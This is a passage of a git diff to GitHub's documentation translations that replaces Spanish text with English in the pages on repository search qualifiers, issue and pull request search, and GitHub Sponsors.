repositorios globalmente a través de todos los {% data variables.product.product_location %}, o buscar repositorios dentro de una organización particular. Para obtener más información, consulta [Acerca de buscar en {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)". - -Para incluir bifurcaciones en los resultados de las búsquedas, deberás agregar `fork:true` o `fork:only` en tu consulta. Para obtener más información, consulta "[Buscar en bifurcaciones](/search-github/searching-on-github/searching-in-forks)". +To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)." {% data reusables.search.syntax_tips %} -## Buscar por nombre de repositorio, descripción o contenidos del archivo README +## Search by repository name, description, or contents of the README file -Con el calificador `in` puedes restringir tu búsqueda al nombre del repositorio, su descripción, los contenidos del archivo README, o cualquier combinación de estos. Cuando omites este calificador, únicamente se buscan el nombre del repositorio y la descripción. +With the `in` qualifier you can restrict your search to the repository name, repository description, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name and description are searched. -| Qualifier | Ejemplo | -| ----------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) coincide con repositorios que tengan "jquery" en su nombre. | -| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) coincide con repositorios que tengan "jquary" en su nombre o descripción. | -| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) coincide con repositorios que mencionen "jquery" en su archivo README. | -| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) encuentra un nombre de repositorio específico. | +| Qualifier | Example +| ------------- | ------------- +| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name. +| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description. +| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file. +| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name. -## Buscar en base a los contenidos de un repositorio +## Search based on the contents of a repository -Puedes encontrar un repositorio si buscas el contenido de su archivo README utilizando el calificador `in:readme`. Para obtener más información, consulta "[Acerca de los README](/github/creating-cloning-and-archiving-repositories/about-readmes)". +You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)." -Además de utilizar `in:readme`, no es posible encontrar repositorios al buscar por el contenido específico dentro del repositorio. Para buscar un archivo o contenido específico dentro de un repositorio, puedes utilizar el buscador de archivo o los calificadores de búsqueda específica. Para obtener más información, consulta "[Encontrar archivos en {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" y "[Buscar código](/search-github/searching-on-github/searching-code)." +Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see "[Finding files on {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" and "[Searching code](/search-github/searching-on-github/searching-code)." -| Qualifier | Ejemplo | -| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) coincide con repositorios que mencionen "octocat" en su archivo README. | +| Qualifier | Example +| ------------- | ------------- +| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file. -## Buscar dentro de los repositorios de un usuario u organización +## Search within a user's or organization's repositories -Para buscar en todos los repositorios que son propiedad de una determinada organización o usuario, puedes utilizar el calificador `user` u `org`. +To search in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. -| Qualifier | Ejemplo | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) encuentra repositorios de @defunkt que tienen más de 100 bifurcaciones. | -| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) encuentra repositorios de GitHub. | +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks. +| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub. -## Buscar por tamaño del repositorio +## Search by repository size -El calificador `size` encuentra repositorios que coinciden con un tamaño determinado (en kilobytes), utilizando los calificadores de mayor que, menor que y rango. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)". +The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Ejemplo | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | -| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) encuentra repositorios que tienen más de 1 MB con exactitud. | -| | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) encuentra repositorios que tienen por lo menos 30 MB. | -| | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) encuentra repositorios que son menores de 50 KB. | -| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) encuentra repositorios que están entre 50 KB y 120 KB. | +| Qualifier | Example +| ------------- | ------------- +| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly. +| | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB. +| | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB. +| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB. -## Buscar por cantidad de seguidores +## Search by number of followers -Puedes filtrar los repositorios con base en la cantidad de usuarios que los siguen, utilizando el calificador `followers` con aquellos de mayor qué, menor qué y rango. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Ejemplo | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| followers:n | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) coincidirá con repositorios que tengan 10,000 o más seguidores y en donde se mencione la palabra "node". | -| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) encuentra repositorios con 1 a 10 seguidores, que mencionan la palabra "styleguide linter." | +| Qualifier | Example +| ------------- | ------------- +| followers:n | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node". +| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter." -## Buscar por cantidad de bifurcaciones +## Search by number of forks -El calificador `forks` especifica la cantidad de bifurcaciones que un repositorio debería tener, utilizando los calificadores de mayor qué, menor qué y rango. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)". +The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Ejemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) encuentra repositorios con solo cinco bifurcaciones. | -| | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) encuentra repositorios con por lo menos 205 bifurcaciones. | -| | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) encuentra repositorios con menos de 90 bifurcaciones. | -| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) encuentra repositorios con 10 a 20 bifurcaciones. | +| Qualifier | Example +| ------------- | ------------- +| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks. +| | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks. +| | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks. +| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks. -## Buscar por cantidad de estrellas +## Search by number of stars -Puedes buscar repositorios con base en la cantidad de estrellas que tienen, utilizando los calificadores de mayor qué, menor qué y rango. Para obtener más información, consulta las secciones "[Guardar los repositorios con estrellas](/github/getting-started-with-github/saving-repositories-with-stars)" y "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see "[Saving repositories with stars](/github/getting-started-with-github/saving-repositories-with-stars)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Ejemplo | -| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) encuentra repositorios con exactamente 500 estrellas. | -| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) encuentra repositorios con 10 a 20 estrellas, que son menores que 1000 KB. | -| | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) encuentra repositorios con al menos 500 estrellas, incluidas los bifurcados, que están escritos en PHP. | +| Qualifier | Example +| ------------- | ------------- +| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars. +| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB. +| | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP. -## Buscar por cuándo fue creado o actualizado por última vez un repositorio +## Search by when a repository was created or last updated -Puedes filtrar repositorios en base al momento de creación o al momento de la última actualización. Para la creación de un repositorio, puedes usar el calificador `created` (creado); para encontrar cuándo se actualizó por última vez un repositorio, querrás utilizar el calificador `pushed` (subido). El calificador `pushed` devolverá una lista de repositorios, clasificados por la confirmación más reciente realizada en alguna rama en el repositorio. +You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository. -Ambos toman una fecha como su parámetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Ejemplo | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| created:YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) encuentra repositorios con la palabra "webos" que fueron creados antes del 2011. | -| pushed:YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) encuentra repositorios con la palabra "css" que fueron subidos después de enero de 2013. | -| | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) encuentra repositorios con la palabra "case" que fueron subidos el 6 de marzo de 2013 o después, y que son bifurcaciones. | +| Qualifier | Example +| ------------- | ------------- +| created:YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011. +| pushed:YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013. +| | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks. -## Buscar por lenguaje +## Search by language -Puedes buscar repositorios con base en el lenguaje de programación del código que contienen. +You can search repositories based on the language of the code in the repositories. -| Qualifier | Ejemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| language:LANGUAGE | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) encuentra repositorios con la palabra "rails" que están escritos en JavaScript. | +| Qualifier | Example +| ------------- | ------------- +| language:LANGUAGE | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript. -## Buscar por tema +## Search by topic -Puedes encontrar todos los repositorios que se clasifiquen con un tema particular. Para obtener más información, consulta "[Clasificar tu repositorio con temas](/github/administering-a-repository/classifying-your-repository-with-topics)". +You can find all of the repositories that are classified with a particular topic. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)." -| Qualifier | Ejemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| topic:TOPIC | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) encuentra repositorios que se han clasificado con el tema "jekyll." | +| Qualifier | Example +| ------------- | ------------- +| topic:TOPIC | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "jekyll." -## Buscar por cantidad de temas +## Search by number of topics -Puedes buscar repositorios por la cantidad de temas que se les hayan aplicado utilizando el calificador `topics` en conjunto con aquellos de mayor qué, menor qué y rango. Para obtener más información, consulta las secciones "[Clasificar tu repositorio con temas](/github/administering-a-repository/classifying-your-repository-with-topics)" y "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Ejemplo | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| topics:n | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) encuentra repositorios que tienen cinco temas. | -| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) coincidirá con repositorios que tengan más de tres temas. | +| Qualifier | Example +| ------------- | ------------- +| topics:n | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics. +| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics. {% ifversion fpt or ghes or ghec %} -## Buscar por licencia +## Search by license -Puedes buscar repositorios con por su tipo de licencia. Debes utilizar una palabra clave de licencia para filtrar los repositorios por algún tipo particular o familia de licencias. Para obtener más información, consulta "[Licenciar un repositorio](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)". +You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see "[Licensing a repository](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)." -| Qualifier | Ejemplo | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) encuentra repositorios que tienen licencia de Apache License 2.0. | +| Qualifier | Example +| ------------- | ------------- +| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0. {% endif %} -## Buscar por visibilidad del repositorio +## Search by repository visibility -Puedes filtrar tu búsqueda con base en la visibilidad de los repositorios. Para obtener más información, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". +You can filter your search based on the visibility of the repositories. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| Qualifier | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %} | `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test". | `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) coincide con los repositorios privados a los cuales puedes acceder y que contengan la palabra "pages". +| Qualifier | Example +| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %} +| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages." {% ifversion fpt or ghec %} -## Buscar en base a si un repositorio es un espejo +## Search based on whether a repository is a mirror -Puedes buscar repositorios con base en si éstos son espejos y se hospedan en otro lugar. Para obtener más información, consulta "[Encontrar formas de contribuir al código abierto en {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)." +You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)." -| Qualifier | Ejemplo | -| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) coincide con los repositorios que son espejos y que contienen la palabra "GNOME". | -| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) coincide con los repositorios que no son espejos y que contienen la palabra "GNOME". | +| Qualifier | Example +| ------------- | ------------- +| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME." +| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME." {% endif %} -## Buscar en base a si un repositorio está archivado +## Search based on whether a repository is archived -Puedes buscar los repositorios con base en si se archivaron o no. Para obtener más información, consulta la sección "[Archivar los repositorios](/repositories/archiving-a-github-repository/archiving-repositories)". +You can search repositories based on whether or not the repositories are archived. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)." -| Qualifier | Ejemplo | -| ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) coincide con los repositorios que se archivan y que contienen la palabra "GNOME". | -| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) coincide con los repositorios que no están archivados y que contienen la palabra "GNOME". | +| Qualifier | Example +| ------------- | ------------- +| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME." +| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME." {% ifversion fpt or ghec %} -## Buscar en base a la cantidad de propuestas con las etiquetas `good first issue` o `help wanted` +## Search based on number of issues with `good first issue` or `help wanted` labels -Puedes buscar repositorios que tienen una cantidad mínima de propuestas etiquetadas como `help-wanted` (se necesita ayuda) o `good-first-issue` (buena propuesta inicial) con los calificadores `help-wanted-issues:>n` y `good-first-issues:>n`. Para encontrar más información, consulta "[Fomentar las contribuciones útiles a tu proyecto con etiquetas](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)." +You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)." -| Qualifier | Ejemplo | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `good-first-issues:>n` | [**good-first-issues:>2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) encuentra repositorios con más de dos propuestas etiquetadas como `good-first-issue` y que contienen la palabra "javascript." | -| `help-wanted-issues:>n` | [**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) encuentra repositorios con más de cuatro propuestas etiquetadas como `help-wanted` y que contienen la palabra "React." | +| Qualifier | Example +| ------------- | ------------- +| `good-first-issues:>n` | [**good-first-issues:>2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript." +| `help-wanted-issues:>n`|[**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React." -## Búsqueda basada en la capacidad de patrocinar +## Search based on ability to sponsor -Puedes buscar repositorios cuyos propietarios puedan patrocinarse en {% data variables.product.prodname_sponsors %} con el calificador `is:sponsorable`. Para obtener más información, consulta "[Acerca de {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)". +You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)." -Puedes buscar repositorios que tengan un archivo de fondos utilizando el calificador `has:funding-file`. Para obtener más información, consulta la sección "[Acerca de los archivos de FONDOS](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)". +You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see "[About FUNDING files](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)." -| Qualifier | Ejemplo | -| ------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) encuentra repositorios cuyos propietarios tengan un perfil de {% data variables.product.prodname_sponsors %}. | -| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) encuentra repositorios que tengan un archivo de FUNDING.yml. | +| Qualifier | Example +| ------------- | ------------- +| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile. +| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file. {% endif %} -## Leer más +## Further reading -- "[Clasificar los resultados de la búsqueda](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" -- "[Búsqueda en bifurcaciones](/search-github/searching-on-github/searching-in-forks)" +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" +- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)" diff --git a/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md index 2e726d5f01..53bb4c70c6 100644 --- a/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md +++ b/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md @@ -80,7 +80,7 @@ You can filter by the visibility of the repository containing the issues and pul | Qualifier | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} -| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion fpt or ghes or ghae or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} | `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access. diff --git a/translations/es-ES/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md b/translations/es-ES/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md index 17344da577..cd0c2c94d4 100644 --- a/translations/es-ES/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md +++ b/translations/es-ES/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md @@ -1,6 +1,6 @@ --- -title: Acerca de los Patrocinadores de GitHub -intro: '{% data variables.product.prodname_sponsors %}permite a la comunidad de desarrolladores apoyar financieramente al personal y organizaciones que diseñan, construyen y mantienen los proyectos de código abierto de los cuales dependen, directamente en {% data variables.product.product_name %}.' +title: About GitHub Sponsors +intro: '{% data variables.product.prodname_sponsors %} allows the developer community to financially support the people and organizations who design, build, and maintain the open source projects they depend on, directly on {% data variables.product.product_name %}.' redirect_from: - /articles/about-github-sponsors - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors @@ -13,41 +13,41 @@ topics: - Fundamentals --- -## Acerca de {% data variables.product.prodname_sponsors %} +## About {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.sponsorship-details %} -{% data reusables.sponsors.no-fees %} Para obtener más información, consulta "[Acerca de la facturación para {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors)". +{% data reusables.sponsors.no-fees %} For more information, see "[About billing for {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors)." -{% data reusables.sponsors.you-can-be-a-sponsored-developer %} Para obtener más información, consulta las secciones "[Acerca de {% data variables.product.prodname_sponsors %} para los contribuyentes de código abierto](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)" y "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)". +{% data reusables.sponsors.you-can-be-a-sponsored-developer %} For more information, see "[About {% data variables.product.prodname_sponsors %} for open source contributors](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)" and "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)." -{% data reusables.sponsors.you-can-be-a-sponsored-organization %}Para obtener más información, consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu organización](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)". +{% data reusables.sponsors.you-can-be-a-sponsored-organization %} For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." -Cuando te conviertes en un desarrollador patrocinado u organización patrocinada, aplicarán las condiciones adicionales de {% data variables.product.prodname_sponsors %}. For more information, see "[GitHub Sponsors Additional Terms](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms)." +When you become a sponsored developer or sponsored organization, additional terms for {% data variables.product.prodname_sponsors %} apply. For more information, see "[GitHub Sponsors Additional Terms](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms)." -## Acerca de {% data variables.product.prodname_matching_fund %} +## About the {% data variables.product.prodname_matching_fund %} {% note %} -**Nota:**{% data reusables.sponsors.matching-fund-eligible %} +**Note:** {% data reusables.sponsors.matching-fund-eligible %} {% endnote %} -The {% data variables.product.prodname_matching_fund %} aims to 